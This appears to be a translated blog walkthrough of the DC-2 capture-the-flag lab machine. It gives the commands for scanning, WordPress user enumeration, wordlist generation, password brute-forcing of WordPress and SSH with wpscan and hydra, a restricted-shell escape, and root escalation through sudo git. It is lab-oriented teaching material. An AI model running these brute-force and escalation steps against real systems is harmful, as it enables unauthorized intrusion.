The detailed process of DC-2 target machine penetration (attached target machine link)

DC-2 drone download link: https://pan.baidu.com/s/1g8nEs5K0MYBCfQr-bGla-w
Extraction code: 3xt9

View the kali host ip: ifconfig
insert image description here
View the MAC address of the target machine: Open the virtual machine settings, click the network adapter, select the nat
mode, and click Advanced.
insert image description here
Use nmap to scan the target ip: nmap -sP 192.168.159.0/24
insert image description here
Compare the mac address and find that the target target machine ip is 192.168.159.139
Use nmap to scan the port: nmap -A 192.168.159.139 -p 1-65535
insert image description here
find that port 80 is open, open the browser Enter the ip to access
the page and the page cannot be loaded. Add local DNS resolution:
add 192.168.159.139 DC-2 to vim /etc/hosts
insert image description here

Try to access again, successfully
insert image description here
found flag1, observe the flag narrative prompt use the cewl tool
to scan the website directory using the dirsearch tool, go to the directory of the dirsearch tool (the tool needs to be downloaded by itself): https://github.com/maurosoria/dirsearch
perl dirsearch.py -u 192.168.159.139 -e*
insert image description here

It is observed that the website is built for worldpress. Use wpscan to scan:
wpscan --url dc-2 -eu
insert image description here
found three users
Create a user dictionary: vim user, dic
insert image description here

Use the cewl tool to generate a dictionary: cewl dc-2>pwd.dic
wpscan blasts the user: wpscan --url dc-2 -U user.dic -P pwd.dic
insert image description here
According to the results of the dirsearch scan, it is found that there is /wp-admin
trying to access, and it is found that it is Login page
insert image description here
Use the jerry user and log in with the password we blasted out. Found
flag2
insert image description here
insert image description here
and he told us to find another way. We thought of using nmap to scan and scan out ssh port 7744.
Use hydra to blast ssh
hydra -L user.dic -P pwd.dic ssh: //192.168.159.139 -s 7744 -vV
blasting successfully
insert image description here
Try to log in with ssh: ssh [email protected] -p 7744
insert image description here
Login successfully
Check the current directory file: ls
found flag3 insert image description here
Check flag3: cat flag3.txt
found that there is a -rbash command to limit the
insert image description here
bypass Over limit
BASH_CMDS[a]=/bin/sh;a
/bin/bash
export PATH=$PATH:/bin/

export PATH=$PATH:/usr/bin
insert image description here
successfully obtained flag3.txt
insert image description here
Switch jerry user: su jerry
enter password, switch successfully
Enter jerry's home directory, find flag4
insert image description here
View flag4: cat flag4.txt
insert image description here
View commands with root authority: sudo - l
insert image description here
found that the git command has root authority, and does not need to provide the root password
git authority: sudo git -p --help
forces to enter the interactive state, so that the page buffer cannot display all information: !/bin/bash
insert image description here
insert image description here
to find the final flag

Guess you like

Origin blog.csdn.net/bwt_D/article/details/118068407